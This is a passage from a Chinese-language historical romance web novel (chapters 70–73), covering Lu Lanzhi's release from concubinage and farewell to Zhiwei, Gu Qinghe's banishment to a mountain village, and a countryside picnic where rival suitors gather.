周围也不乏有酒楼眼红想要生事,但是做了一番打听,愣是没打听出东家是谁,只是有人说国安县主秦红叶和尚书令沈鸿都是其中的常客。 于是也都打消了生事的念头,不管是哪边开的,他们可都惹不起。 安若瑾也是经常去的,他初的目的是为了偶遇未婚妻,没想到也被这小吃所吸引,还打包了一些回宫孝敬皇帝爹和太后呢。 给太后她老人家感动的热泪盈眶的,孙子连吃到好吃的都惦记着她,多孝顺啊。 早就忘了孙子为了娶沈家女对她老人家胡搅蛮缠一事了。 日头渐暖,眼看就要进五月,知微一直在家中研制新品,钱袋子越来越沉,生意越来越好,她也忙的不亦乐乎。 正是这日,刚用过早膳的她正在琢磨方子,便听花影进来说是有拜帖,还是专门来给她的。 知微纳闷,打开一看,陆氏女,兰芷, 是陆姐姐? 陆姐姐这是,从侯府出来了? 且是光明正大的上门来找她,以自己的名义,堂堂正正的递了拜贴! 知微是又惊又喜,忙不迭跑出院外,却见沈知蕴已经将人给带过来了。 知微一头扑进了陆兰芷的怀里,跟着孩子似的竟是哭了出来,她是真想陆姐姐了。 陆兰芷不免有些动容,这归家了,怎么还愈发的孩子气了呢。 沈知蕴却有些羡慕小妹对陆兰芷的情谊,好不容易将二人哄进了院子,在外头又哭又笑的,像什么样子。 待众人平复好心情这才知道,陆兰芷离开顾家了。 是的,离开了,不再是顾铭珏的妾了。 原来,顾铭珏走之前的某一日给了陆兰芷一封放妾书,叫她自己考虑,是走,还是留。 走的话,她可以带走她得嫁妆,还能得到一些补偿。 留下来,那便还是现在这样,侯府不会短了她的吃穿用度,但是顾铭珏却是不会过来了。 意思显而易见,顾铭珏是想她离开的。 这事红叶和念秦也都是知道的,顾铭珏走时提了一嘴,陆兰芷要走,叫她们不要阻拦。 红叶自是懒得管,还啧啧两声,这是要清了后院吗,可惜呀,这窍开的太晚了。 陆兰芷离府的这日,先去拜别了老祖宗,谢老太不可避免的动了怒。 放妾这种事,孙儿竟然瞒了她这么久,人都要走了,她这才知道。 她感觉自己的脸被孙儿剥了层面皮下来,心口像是堵了一层棉花,憋的她喘不过气。 果不其然,陆兰芷刚走,侯府便叫了太医。 红叶被叫了回去,同念秦照顾左右,那两日被折腾的属实不轻。 而沈府内。 陆兰芷主仆三人同知微翠儿更是抱头痛哭,分别几月,姐妹几个终于见了面。 沈知蕴将门带上,不免也有些动容。 瞧小妹对陆兰芷的态度,是比对她这个姐姐还要亲近的。 若是排上一排,沈知蕴自觉自己应该排在翠儿陆兰芷甚至念秦后头。 陆兰芷将侯府给她放妾书一事事无巨细的讲了出来。 知微听后鼻子酸酸的,嘴巴撅的能挂个油壶,“这都两三个月了姐姐才离府,是还舍不得那狗男人吗?” 陆兰芷却被她逗笑了,拧了一把知微的胳膊佯装怒道,“什么舍不得,我对侯爷是早就死了心了,这京中谁不知道侯爷的一颗心全在你身上,他既给了我放妾书,我自是不会将自己窝在那侯府,这么多年,谁还没窝囊够呢!也该叫老娘看看这外头的大好河山了!” 知微撅着嘴,抱着她的胳膊,也不再还嘴了,听她继续说。 陆兰芷轻笑一声,笑容里有心酸也有无奈,她继续道,“我哪能得了放妾书就走,也得告知一声父亲和兄长,如今他们都在外地,这一来一回啊,便耽搁到了现在。” “不过你邀我出门的帖子确实是被老祖宗给阻了,托念秦姑娘带给我的东西我倒是都收到了,只是不能同你见面而已,我早就想走了。” 这时候,陆兰芷的声音已经带了些哽咽了,她也是考虑了半月的时间才给兄长去了书信,表明了自己想离开侯府,让她没想到的是,兄长和嫂嫂竟然哏都没打,直接差了护卫来接她,嫂嫂还怕她心中有顾虑,叫自己乳娘一同陪着过来接她。 她感动到无以复加,但是又不得不考虑今后所要面对的一切,又忐忑,又期待。 她擦了擦眼泪,继续道:“嫂嫂的乳娘如今正在京中的家里呢,我啊,如今也算是苦尽甘来了,美好的明天且等着我呢。才不会再惦记一个心不在自己这的男人,老娘才二十一岁呢!” 对啊,她才二十一岁,什么样的男人找不到! 她哪是不舍那男人啊,她是怕父兄在朝中没了靠山,但经了知微一事,顾铭珏对她是带着许多感激的。 她这时候走,顾铭珏自是会照拂父兄一二,且沈家人也曾送来不少礼物,沈鸿更是亲笔写了书信,考察了兄长,如今兄长已经被提拔成从四品的官员了,有沈家帮扶着,兄长的仕途只会走的更高更远。 所以陆兰芷走的干脆利索,一点也没有拖泥带水。 她将知微拉了起来,叹了口气,正色道:“说真的,自你中毒一事之后我对侯爷的感情便淡了许多,那时候我就想,侯爷的爱,也不过如此,而后又经了上次的事,你差点,差点,没命,我竟已经有些恨上他了……” “我陆兰芷入侯府多年,一直没什么朋友,日子过的浑浑噩噩,所期盼的不过是主君来我房里而已,每日都是想着怎么吸引他过来……这可日子,却在你来了之后变得不一样了,开始变得有趣了,你拿真心待我,我自是也拿出真心的,今日,今日。” 知微的眼眶更红了,眼泪跟断了线是的,她紧紧攥着对方的手,紧张道:“姐姐今日是来告别的,对不对,姐姐要离开了,对不对?” 陆兰芷知道瞒不过她,狠心点头,不过却忙哄她道:“我又不是不回来了,多年不见兄长和父亲,如今他们在外地做官,我理应去探望,待上一段时日姐姐便归来,你这生意做的风生水起的,以后姐姐回来给你帮忙可好?” 知微哪能听不出这话里哄她的意思,陆兰芷这一走,没个三年两年,定是回不来的,她再次扑进陆兰芷的怀里,呜呜哭出声来…… 知微是真的很喜欢陆兰芷,一直拿她当亲姐一般,可以说,除了翠儿,陆兰芷便是她心里最惦记的一个了。 如今要分别,自是十分不舍。 但是知微却又为陆兰芷感到高兴,顾铭珏个狗东西终于算做了件好事,陆姐姐终于可以回家了,可以离开那四四方方的后院,去看看外头的天地。 远方疲于奔走的狗东西突如其来的打了个喷嚏,顾铭珏摸了摸鼻子,心道定是知微想他了!于是快马加鞭,不日便至京城。 70-80 第71章 陆兰芷离开,闺蜜局。 还好,陆兰芷并不是今日才走。 她昨日离开的侯府,收拾了一日的东西,今日一大早便上了门。 知微见她时动静挺大,娘亲一听说是当初冒险求救的陆兰芷主仆来了,那更是不得了。 她身体已经好了许多,一听更是精神焕发,打起了十二分的精神头来待客。 又听陆兰芷已经得了放妾书,更是为她高兴,还专门准备了礼物亲自送了过来。 那日的事情她也是后来听说的,她觉得,数陆兰芷和柳红的功劳最大。 柳红又一次得了个金镯子,还有翠儿用自己剩下来的月银,给她和柳青买的金簪。 不是沈家人俗气,是柳红曾说过,自己最爱金子,也是,咱穷苦人家出身,哪有不爱金银的呢。 午膳后,知微同陆兰芷一起午睡,柳青柳红则是去了翠儿的院子,三人已然闹了起来,笑声穿透了院墙,叫她们二人也忍不住笑出了声。 平日里知微时不时会托念秦给陆兰芷她们会带些新鲜的玩意首饰,还有自己做的吃食,陆兰芷也有钱,自是什么都不缺的,还是那幅白白胖胖气色甚佳的模样。 如今姐妹躺在一处,聊着对未来的憧憬,对生活的期许,还有女儿家的小心思。 知微这才知道,顾铭珏除了陆兰芷入侯府的第一年进过她的院子,后来是不经常去的。 被老祖宗催的紧了,会去那么一两次,但是去了也是不动她,只那么纯睡觉。 但是那时的陆兰芷一颗心全在他身上,觉得时不时能见到男人,就是很幸福的事情。 知微,嗯……见了她跟饿狼似的,怎么到陆姐姐嘴里,男人变成不行了,不会是见她时吃了药吧? 知微一阵恶寒,晃晃脑袋,将杂念给晃出去。 她静静的听着陆姐姐的心路历程,她知道,陆姐姐是在告诉她,*她不爱那个男人了。 即使以后,知微会被皇帝赐婚给顾铭珏,陆兰芷心里也不会不舒服。 其实陆兰芷看在眼里,如今的顾铭珏,是真的将知微放在心里的。 但她又觉得,侯爷可配不上现在的知微,知微现在便如一株盛放的牡丹,在家人的娇养下鲜妍芬芳,浑身上下无一不精致美丽。 二人互诉衷肠,她说着她得商业规划,她说着她的未来期许,这一日,便这么悄然而过。 莫恨明朝又离索,人生何处不匆匆。 陆兰芷走的那日太阳很大,天气晴朗,知微送了又送,从城门送到了京郊,从京郊又走了很远…… 匆忙又一别。 她们只能安慰自己,分别,是为了以后更好的相聚。 怕陆兰芷路上吃的不好,知微这两日一直在做吃食。 腌菜做了几种,好不容易买的牛肉,连夜给做成了牛肉干。 猪肉脯也被她给折腾出来了。 还做了些甜点,专门多放了些糖,天气愈发的热了,也能放的久一些。 无论怎么不想,马车还是渐行渐远。 这边的两人俱是哭成了泪人,人都走的很远了,知微还是在看着陆兰芷离开的方向。 陆兰芷的父亲已经辞了官,准备还乡了,所以他们要在通州汇合,一同去陆兄长所在的南方城市。 山高水远,也不知何时再相见。 那边厢陆兰芷主仆三人还在因为离别伤心到不能自已,嫂嫂的乳娘内心已是止不住的风起云涌,她来这一趟真是来对了。 不然也不会见到沈府对姑奶奶的重视,尤其是这沈二小姐,是拿姑奶奶当亲姐般对待的。 回去还得同小姐说明情况,也得亏她家小姐善良有远见,赞同姑爷将姑奶奶接回去,只要姑奶奶常与这沈二小姐联系着,就凭姑奶奶对沈府的恩义,咱们姑爷定能平步青云,芝麻开花节节高啊。 知微则是叹了口气,最终还是上了马车。 她看的分明,陆姐姐嫂嫂的这位奶嬷嬷看她的眼睛冒着精光,一直在暗处观察她沈家待陆姐姐的态度。 陆姐姐这个嫂嫂,怕也是个难缠的角色。 不过,她表现的十分强势,态度已然明显,若是陆家胆敢有人欺负陆姐姐,她沈家定是不会坐视不理的。 所以,你最好如实回禀你家主子,仔细掂量掂量该如何去对待陆兰芷。 做得好,那陆家兄长必是前途无量。 做的不好,那这官,势必是到头了。 知微不是说大话。 就如今沈父待知微的态度,势必是能做到的。 回程的路上,知微和翠儿的眉头都是紧缩的。 二人担心的,无非就是陆兰芷的未来罢了。 女子嫁人后归家,总是会收到歧视和偏见,但愿陆姐姐的家人都是好的…… 陆兰芷走后没两日,知微便收到了红叶宴请她的消息。 原是谢老太收到了孙儿不日回京的信件,心情好了,身体也好了许多。 红叶和念秦终于得以喘息,知道知微因为陆兰芷的离开心情低落,便将人叫到别苑,一起喝些小酒去去乏,也就是组了个闺蜜局,喝喝小酒,排解排解。 知微自是欣然前往,她带了花影和月痕,翠儿最近的功课愈发的多,便没一起去。 沈知蕴似乎又被什么事情困住了,知微也没去打扰,自己个儿去了。 不过她提前同长辈说了一声,自己应是会用些小酒的,若是醉了,便宿在红叶姐姐那了。 娘亲知这孩子心里有数,又给塞了几张银票,多带了几个护卫,这才放人离开。 只是聂斐然不出意外的,又跟她偶遇了。 她无奈的看着对方,直将聂斐然看的尴尬了这才上了马车。 聂斐然抿着唇,淮阳教他得这招不期而遇,怎么一点也不管用呢,小表妹似乎一点都不在意啊。 知微才不管这人是什么意思,只十分期待今日的闺蜜局。 她今日去的,是别苑最里头的一个院子,更像是低调华丽的居所,平日红叶无事时,会经常宿在此处。 她到的时候,酒和菜都已摆上了,知微看这一大桌子的珍馐,一排的酒壶,深觉提前告知娘亲一声是十分正确的选择。 红叶今日倒是难得不是一身红衣,已进五月,一身轻薄透气的白色长裙,头上只插了支海棠花白玉簪,衬的整个人难得带了几分柔弱。 知微笑着道果然姐姐穿什么都好看。 红叶直接上手捏了捏知微的鼻尖,“幺幺,数你嘴甜。” 知微抱着人家胳膊晃啊晃,“人家说的实话嘛~” 又撒开娇了。 念秦拿着几只精致的玉盏进来的时候,看到的便是这副场景,念秦无奈道:“这就是知微嘴里的商业互夸吧。” 知微撅撅嘴,“哎呀,念秦姐姐,这个叫彩虹屁,才不是商业互夸。” 说完三人都笑开了,拍马屁就拍马屁,马屁还是彩虹的?这孩子整天不知哪里来的新奇词汇,她们听都没听过。 闹过笑过之后,闺蜜局便开始了。 别苑的厨子,手艺自是不必多说,垫了垫肚子之后,三人才打开了话匣子。 当知微听到红叶姐将顾青禾送到山窝窝改造的时候,一口酒水差点没喷出来,给她呛了个猝不及防。 她将头歪到一边,咳的眼泪汪汪的,念秦赶紧上前给拍背,好不容易给止住了,就见知微身子都笑歪了。 知微伸出了大拇指,直呼还是姐姐有办法,“顾青禾最骄傲的就是她侯府大小姐的身份,这被丢到山窝窝里,她估计会疯掉的。” 说完又咯咯笑开了,她可是因这位大小姐吃过不少苦头的,如今就该她落井下石。 她才不是那什么好心的主呢,该幸灾乐祸的时候,她定是笑的最大声的那个。 待她笑够了,念秦给她递了杯清水,叫她顺顺。 她笑着接过,面上又带着疑问道:“不过,姐姐将人给扔到大山里了,老祖宗没给您闹?还有顾铭珏,待她回来之后,不会生姐姐气吧?” 红叶一口闷了盏中的果酒,撇撇嘴道:“不会,老祖宗这么些年将顾青禾扔给李月清,孩子都给养歪了,一直觉得亏欠于她,自己呢,又下不去手整治,如今我替她下了狠手,她才不会有什么不满呢,至于珏哥儿。” 红叶看了知微一眼道:“顾青禾又不是她的种,他更不在乎。” 知微耸耸肩,只哦了一声,表示自己早就猜出来顾青禾不是他的种,但是对于侯府的旁的秘密,知微就不想知道了。 知微刚想岔开话题,便见红叶又一盏酒下肚,直接道:“顾青禾和珞安确为双生子,只是啊,珞安无论是性子,还是长相都随了铭哥儿(顾铭珏兄长),这顾青禾,皆随了那个女人。” 她叹了口气,“那个女人哪是什么丫鬟,是一直被老太太当孙女养在身边的,算是顾家养女,老太太可是十分疼惜她的,谁没想到,她竟然爬了铭哥儿的床。” “是她害死了宋家妹子,害了铭哥儿。”哼,所以啊,珏哥儿十分讨厌她,尤其她那张脸,谁叫她跟她那亲娘长的像呢。” 说完红叶便又是一盏酒下肚,念秦忙将酒壶拿到一边,说什么都不让她喝了。 红叶的脸上已经染上了红霞,已经喝了太多了。 这侯府秘辛,就这么水灵灵的被红叶给说了出来。 作为现代人,知微却是有些不太能理解的,既然顾珞安和顾青禾都是那个女人生的,生父都是前世子,那为什么顾珞安却是受尽宠爱,顾青禾却是不受待见的,难道就因为,顾青禾长的更像她亲娘? 可是她再怎么说也是顾铭珏大哥的种,顾铭珏再讨厌,直接给人养歪了,也有些说不过去吧。 嗯…… 说起来,这孩子也是有些可怜的,半晌知微又摇摇头,不是,从小锦衣玉食奴仆成群的,有什么可怜的,晃晃脑袋,她觉得肯定是自己喝醉了。 而众人讨论的顾青禾。 此时却是真的灰头土脸的。 被红叶莫名其妙扔进了山沟沟不说,连一个佣人都没有,万事都得她亲力亲为,她不会生火不会做饭,他们还饿了她一天一夜,路上一口水也没给她喝。 顾青禾是又怕又饿,直到村长婆娘得了吩咐带了几个面窝窝来看看新落户的姑娘,顾青禾才吃了第一口饭。 只第一口,她便吐了出来。 她自小被养的精细,这种粗糙的面窝窝剌嗓子,她根本咽不下去。 村长婆娘见她细皮嫩肉的猜想她从前定是哪家的小姐,便从地上的一堆东西里翻找出了一袋白面,帮着做了碗面疙瘩汤,顾青禾这才堪堪填饱了肚子,身子也暖和了起来。 这深山老林的,虽是四月,但还是比京中冷多了。 她自来到,便窝在炕上一角,身上披的是唯一一床被子。 幸好这被子是棉花的,且还挺厚实,不至于将她冻到。 她身上的还是自府中穿的一身锦衣,此时已经沾上了脏污,她已经无暇顾及了。 而包袱里,只有几件棉布做成的成衣,她嫌弃连看都没看,便扔到了一边。 其实虽是棉布,却也比村长婆娘身上的粗布要好太多了。 这是两天内顾青禾用的第一顿饭,她含着泪扒拉着碗中的面疙瘩,想着自己前日砸掉的一桌子饭食,一整个身子都不住的颤抖,她已经后悔了,她到底做了些什么啊。 她为什么要将那一桌的食物砸了?吃食又有什么错?呜呜,好想回府,好想曾祖母,好想林嬷嬷…… 村长婆娘边帮她收拾屋子,边絮絮叨叨,“咱们村啊,都是些逃难来的,坏人是没有几个,你家人将你送来,估计家里也是发生了极不好的事情了吧,可怜见的,你这么个娇小姐。” 大娘叹了口气,“你且安心住着,这两日啊,我和村里的婶子大娘轮流着来教你做活,你这细品嫩肉的,自己摸索还不知能摸索到什么时间去,不过你别怕,俺们村虽然连着大山,但是周围没得猛兽,每年啊,都有大好人帮俺们打猛兽呢,还有猎户住在山里,所以根本不用担心,赶明我带你去前头前上捡山货,不往深了走就没啥事,没得野兽的……” 而房顶上的护卫兄则是捂着肚子笑开了,他尽量控制自己不要发出声音来,哈哈哈哈,这也太好笑了,这还是从前那个嚣张跋扈动不动就打人板子的侯府大小姐吗? 哼,看你这回还敢不敢跋扈打小爷板子了! 第72章   高小舅一家返乡的日子也定了。就在三日后。知微想到踏青的…… 高小舅一家返乡的日子也定了。 就在三日后。 知微想到踏青的事情,说去一直没去成,如今小舅一家即将返乡,便想趁着父兄休沐,邀请家人一同去郊外踏青。 眼看天气就要热起来了,此时不去,更待何时。 长辈们拒绝一同前往。 舅舅舅母忙着采买回程要带的礼物。 沈父想好好陪陪妻子,便不去掺和孩子们的玩闹了。 这日正是雨过天晴,天气十分舒爽,温度适宜,只是他们一行人刚出门,便又被安乐县主堵着了。 是的,你没听错。 是安乐县主,且是又。 不过安乐想堵的是聂斐然一人。 她在几日前对聂斐然一见钟情,再见情难自制,这几日已经来府上几次了,今日刚出门便碰到了她,于是,郊游的人员又增加了两名。 安乐县主和她的闺蜜,御史大夫的嫡女,孙甜甜。 这姑娘是个特别有意思的吃货,被安乐给忽悠来的原因只是安乐说沈家的点心好吃,比宫里的都好吃。 这傻孩子还真就信了,跟着来了一趟又一趟。 因为前几日给陆姐姐做的糕点有余粮,还真就叫孙甜甜给吃中了,所以这孩子跟着跑的无怨无悔。 知微见过一次便喜欢上了,这姑娘十四五岁的年纪,珠圆玉润的,是那种一看就是在幸福家庭长大的姑娘,非常单纯,爱笑,五官说不上多精致,但也是高鼻梁,大眼睛,下嘴唇角有一颗痣,是天生有吃福的姑娘。 除了聂斐然,大家对多带两位姑娘无任何异议。 聂斐然面上还是一副不食人间烟火的神仙样,其实内心已经将安乐给斥责上了。 他那日就不该出门,也不该多管闲事,现在好了,碰上了这么个难缠的姑娘,想跑都跑不了。 他这几日实在是被安乐给缠怕了,从未见过如此胡搅蛮缠的姑娘。 今日还怎么找机会跟小表妹独处了! 气归气,但是为了维持人设,聂斐然还是尽量面无表情,一脸的云淡风轻。 众人和两位姑娘也都认识,尤其高雅晴和翠儿,都是差不多的年纪活泼的性子,四人早就熟稔的坐进了同一辆马车顽闹去了。 知微自是同沈知蕴一辆马车,她见姐姐眉头时不时还会皱起,小声的劝慰着,“姐姐可是还在担心养兄?养兄已经来了书信了说都安顿好了,姐姐别再忧心,开心一些,养兄能照顾好自己的。” 沈知蕴苦笑一声,摇了摇头道,“不是在担心他,他自小习武,本就一心向往边疆,保家卫国,至于别的……已经成定局了,想太多没什么用。” “我担心的,是别的事情……” 沈知蕴透过车帘的缝隙看了眼车外的行人和街景,她担心的是预知梦里发生的事情,天气越来越热,那水灾,到底会发生在何处? 她后来又做了两次一模一样的梦,梦境越来越真实,越来越清晰,她每次都仿佛亲身经历一般,似自己也被洪水吞噬掉,每次都是痛苦醒来,她想不出来有什么方法避开梦中的事情。 到底在哪里了?她回忆着梦中的地方,可是到处洪水,哪里有什么叫她分辨地理位置的呢? 所以这阵子她十分的痛苦,她每日每日都在想,她若是知道哪里有水灾,她提前告知了,是不是就会少死很多人? 爹爹和兄长即使还被遣去赈灾,是不是可以少吃点苦头?是不是可以多救一些人? 知微见姐姐又陷入了沉思,叹了口气,最近沈知蕴总是会这样,经常说着话便出神了,她不知姐姐到底是何心事,但是沈知蕴不说,她也没问。 她不觉得自己同沈知蕴已经亲近到可以互诉衷肠,非知不可的地步。 而那边厢,红叶此时正在郊外打猎呢,念秦手里拿着知微差人送来的信件,踏青的地方离她们所在位置不远,红叶想到路上碰到的宋言澈扯了扯嘴角,一挥手叫了个暗卫,嘀咕了几句便叫人走了。 待红叶同念秦说了几句,念秦更是噗呲一声笑了出来,还给红叶竖了个大拇指,道了句主子高明。 嗯……怎么说呢,就是一整个看热闹不嫌事儿大。 红叶心情甚好,晃了晃手中的弓箭,“走吧,估计一行人也快到了,叫人将猎物都送去,知微说要亲自烤给咱们吃呢。” 说来也巧。 这几座山附近一共就三个庄子,其中一处是红叶的,关于红叶的产业,这个咱回头细说,那堪称只有你想不到,没有她买不到的落脚地。 另一处便是知微娘亲的,原为高氏的陪嫁,知微来了以后高氏知晓知微同红叶的关系,便将地契给了知微,叫二人做邻居,所以现在这庄子是知微的。 而同两个庄子稍远距离外还有一处庄子,乃是忠勇侯府的,今日刚好崔文远同宋言澈,以及崔家的两位小姐,两位世家公子,也在此地游玩,几位正打算上山打猎呢。 知微一行人倒是没打算打猎,但是也都是全幅武装,男男女女穿的全是轻便的常服,准备到山腰处的河边野炊。 时辰不早了,先差了下人们去河边布置,几人慢悠悠的走在山道上,迎着微风,欣赏着路边的不知名野花野草,心情也都十分不错。 徜徉在山林中,空气中满是大自然的味道,一路走知微是一路都没停下。 她拿了个竹筐,花影和月痕陪着边走边挖野菜。 沈知晖陪着她走在最后头,越看越心酸。 他本应千娇百宠长大的小妹,连路边的野草都是吃过的吗。…… 知微不小心撇到了兄长那一脸心疼的表情,便知这人又误会了,她笑着小跑过去抓住了兄长的胳膊,沈知晖也不嫌弃她刚挖完野菜脏兮兮的小手,静静的等着她开口说话。 知微眼眸亮晶晶的,对他道:“兄长,这个叫荠菜,是一种清香鲜美的野菜,它还能清热利水和脾还能止血名目,也是个药材呢,兄长可不要小看它啊,它可是个宝呢!” 沈知晖笑的温柔,轻抚着知微的头顶,“嗯,兄长帮你。” 知微却笑着跑开了,“不要,兄长再将杂草认成了荠菜怎么办,还是我自己来吧,我要多找些带回去给爹娘包荠菜馄饨,那滋味,可鲜美可好吃了。” 沈知晖只望着小妹无奈摇头,这么长时间了,小妹终于漏出了些小女儿家的活泼模样,只是还不够任性,不够放肆,还得努力啊,还得让小妹彻底敞开心扉才好。 知微的一句荠菜馄饨可是叫杨芊芊给听了进去。 小姑娘迈着小短腿,放开了抱着安乐的胳膊,呼啦一下跑到了知微身前,好奇的询问着知微什么,知微也笑着同她说话,最后二人一起挖起了野菜来。 待快行至河边时,一群人同另一群人,就这么不期而遇了。 其实是崔文远听着这边有动静,想看看是不是哪家认识的公子小姐的来游山来了。 这一瞧不要紧,好家伙,难怪宋兄昨日约他来庄子呢,这是醉翁之意不在酒啊,别说,宋言澈这小子消息还挺灵通的。 嗯,宋言澈不光消息灵通,手段更是一流,他眼神往安乐县主同聂斐然那一撇,微不可见的扬了扬唇角,不枉他废了一番功夫做的局,县主同聂斐然,果然相配。 崔家的两位小姐也同安乐和孙甜甜相熟,于是,安乐几步挪至沈知蕴身前眼巴巴的望着沈知蕴问道知蕴姐姐,崔家妹妹她们能不能同咱们一处顽的时候,沈知蕴也没怎么想便同意了。 她都认识,除了宋言澈有些棘手,其他人待会国安县主一出现一准老实,况且,这种日子,她那三皇子未婚夫不来凑一脚都奇了怪了。 故,她一点也不担心有人敢惹出事端来的。 至于宋言澈吗,父亲这些日子对这位的点评还算不错,虽然斐然的身体也已大好,但是沈家人还是想叫知微多接触些外男,不管皇帝和顾铭珏是怎么打算的,他们沈家暂时没考虑那么多,只觉得以后知微在亲事上可选择性能多些也是好事。 既然小妹同宋言澈从前情谊深厚,不妨叫他们再接触接触。 两伙人基本上都认识,宋言澈同沈知晖说话,眼睛却是时不时的撇向知微身上,今日的知微一身粉色衣裙,发髻上身上基本上没佩戴什么首饰,因为没什么外人,所以也未带面纱,一张艳丽的小脸就这么暴漏在阳光之下,很容易叫人看直了眼。 知微又美了些。 他从前的知知仿佛是娇嫩的花骨朵,纯净淡然,如今的知微却已然长成了艳丽的玫瑰,明艳芬芳,叫他一眼沉沦,眼中再也容不下旁人。 感受到他的目光,知微只笑着点头,道了句,好巧啊宋大哥, 转头却眉眼弯弯的跟沈知晖道:“兄长,红叶姐姐马上到了,刚差人说猎了好多野味,正好今日人多,我待会都做了,大家一起吃个痛快才好。” 宋言澈想说不巧,他是专门来的。 他还想说很多很多,但如今这般待在一处,虽然也有很多人,他也已经很满足了。 今日从沈知晖和沈知蕴对他的态度,想必沈家人对他已有所了解,如今也算是有些进步,事未成,壮士仍需努力啊。 崔文远同另两位小公子已经和高淮阳勾肩搭背聊起来了,只是崔文远在无人注意的时候不忘偷偷的朝宋言澈竖了个大拇指,还得是宋兄啊,成功打入沈家内部,连带他们一群可都算是沾了光了。 野炊的地点是红叶选的。 河边不远有一片竹林,还有栋竹楼供他们休息,可谓是十分之舒适了。 竹屋吗,蛇虫的自是不少,只是这里每日都有人过来打扫,并不会出现蛇虫的问题,几个姑娘听了这才放下心来,走了大半个时辰的路,都急不可耐的跑进竹楼去休息片刻。 河边已然支好了知微专门定做的烤烧架,一旁还支了两口锅,猎物已经送来了,几个婆子在有条不紊的处理猎物,清洗肉菜。 这时便见河流上游出现了一条竹筏,一个极骚包的男人正站立在竹筏上,摇着手中的扇子,缓缓像他们这个方向漂来。 知微低头忍笑,三皇子不会以为他这个样子很帅吧?就,用现代的话来说,好装逼好油啊,知微忍笑忍的辛苦。 只见竹筏在游到河边时似乎是碰到了礁石,竹排上的三皇子身子也跟着晃,这人还算有点脑子,直接从竹筏上蹦了下来。 只是,不巧,蹦跶到水里了,鞋子湿了,衣摆也湿了。 知微噗嗤一声直接哈哈大笑出来,沈知蕴也没兜住脸上的笑意。 兄长无奈的看了两个妹妹一眼,亲自去将三皇子给扶住了,又差人去取了衣裳和鞋子。 安若瑾见两人笑也没生气,咳嗽两声,摆了摆手上的纸扇,尴尬的道了句失误失误,便装作若无其事跟着沈知晖离开了。 第73章 其实沈知蕴知道,安若瑾是故意的。他安若瑾虽说装模作样惯了,但是 其实沈知蕴知道,安若瑾是故意的。 他安若瑾虽说装模作样惯了,但是堂堂皇子,身上哪能没点功夫。 近些日子安若瑾不厌其烦的给她写了很多书信,还送了很多小东西哄她开心,但是沈知蕴都没放在心上,甚至看都没看一眼。 今日却还是被他给逗笑了。 沈知蕴不知这人到底为何非自己不可,是因为贪图父亲的权势,还是另有所图,她都不愿意去深究,反正总不会是纯粹喜欢她这个人。 她只知道,她不爱他,也很难爱上。 嫁便嫁吧,嫁谁不是嫁呢。 沈知蕴看着正在低头同婆子说些什么的小妹,又看看守在小妹身旁的宋言澈,以及不远处被安乐又缠住了的聂斐然,还有河边已经找了个地方跃跃欲试钓鱼的淮阳和崔文远几人,扬了扬嘴角。 但也只那一瞬又沉了下去。 养兄最会抓鱼了,记忆里,也是在这庄子附近的河边,他将树枝削尖,自己淌进水里,只那么一下就精准的刺到了一条大鱼,他插着鱼转过头向她炫耀,那日明亮的阳光照在了他的脸上,即使他脸上还是黑黝黝的,却莫名的让她觉得俊朗。 那日他还亲手将鱼烤来吃了,说不上多美味,但是,她却记到了现在。 如今,也不知姜恒在异乡过的好不好。 说不惦念的,还是会不由自主的想起来。 沈知蕴摇摇头,罢了,人都被她气走了,还是想想预知梦的事吧。 唉? 她脑袋灵光一闪,咬着唇思索,若是她找个借口同安若瑾说梦中洪水的事情,利用安若瑾皇子的身份找钦天监卜上一挂,也许能推算出哪里有水灾? 而且,据她所知,安若瑾的势力可不小,她或许可以借来用上一用。 行不行的,或许可以试一试。 只是,这事情,她该怎么说呢…… 这边还在沉思,那边知微去已经偷摸的同红叶和念秦汇合了。 红叶挑挑眉,不错啊,今日这俊男美女可不少,还挺饱眼福的。 坐在不远的凉亭内,三人饮茶休息,红叶看一直粘着聂斐然的安乐笑道,“安乐这不胡闹吗,追着商贾转,叫郡主知道了,啧啧,不好说啊。” 知微小手支着下巴,捏了一块糕点笑眯眯道:“难得看表兄脸上表情这么丰富,不过应该无事,斐然表兄过两日会同小舅舅他们一起回乡,安乐县主到时找不着人,时间一长也就淡忘了。” “你那表兄长的不错,比珏哥儿强,你,要不试试?”说完红叶撇撇嘴,皱着眉头打量聂斐然的小身板,又道:“还是算了,这小身板不行,太瘦弱了些。” 知微噗嗤一笑,将糕点塞进嘴里,咽下去才道:“我才不要呢,男人不如烂白菜,有姐姐们陪着我不比男人香吗?” 说完自己嘿嘿乐了起来,站起来道:“两位姐姐先休息会,猎了这么多野物肯定累了,下面就交给我了,知微要去大展身手了,昨晚上几个厨娘忙活了大半夜串的串,都用冰鉴冻上了,我去烤来姐姐们吃啊,看我手势,好了姐姐们便下去啊。” 知微边说还不忘拍拍胸脯,说完还朝二人比了个ok的手势,意思是比这个手势就是熟了,叫二人下去用膳,便一蹦跶一蹦跶的下去了。 念秦看着孩子的背影,笑着道:“知微越来越鲜活大胆了,如此甚好。” 转过头二人相视一笑,都有种孩子越养越好了的感觉。 于是,顾铭珏一路快马加鞭风尘仆仆赶到的时候,便见知微正坐在一堆篝火旁烤制着什么,而她身旁,是一身月白色长衫的宋言澈。 知微笑的眉眼弯弯,是他从来没有见过的鲜活明妍,而一旁的宋言澈一脸柔情的望着她,眼眸中的爱意几乎要溢出来,二人一个烤,一个递调料,配合的极好。 远远看去,二人仿若一对佳偶,在这一片山林之中,如同一幅亮丽的风景画,做着凡尘俗事,偏偏又一尘不染的,深深的刺痛了顾铭珏的眼睛。 他死死的攥着腰上的剑柄,眼睛瞪的跟铜铃似的,牙齿咬的嘣嘣作响,浑身的寒气叫身后跟着的冯三等人退避三舍。 冯三他们忍不住将自己缩成鹌鹑,这是侯爷要杀人的前兆。 好半晌,顾铭珏清吐口气,终于收敛了身上的杀气,一脸淡笑着走到众人面前。 咱就是说,这个时候吧,笑不出来就别硬笑了。 他认为的淡笑在别人眼里那叫面部扭曲,还带着点咬牙切齿,和跟来找茬的似的。 远远望见的红叶撇撇嘴,饶有兴致的跟念秦道:“要不要打个赌,最后知微会选哪个?” 念秦抿抿嘴,认真思考了片刻,意有所指道:“选哪个都不重要,架不住有人会求陛下啊。” 红叶却认真的笑开了,转过头望着她道,“你信不信,两年之内,宋言澈必定会从陛下跟前露脸,到时候,是谁求得陛下赐婚,还真不一定呢,啧。” 红叶望着宋言澈似是不经意将知微在珏儿视线内给挡住的小动作,笑容愈发的灿烂起来,“这人还真有挺有意思的,我现在的天平,已经往他那倾斜了,咱们小知微,配的上最好的。” 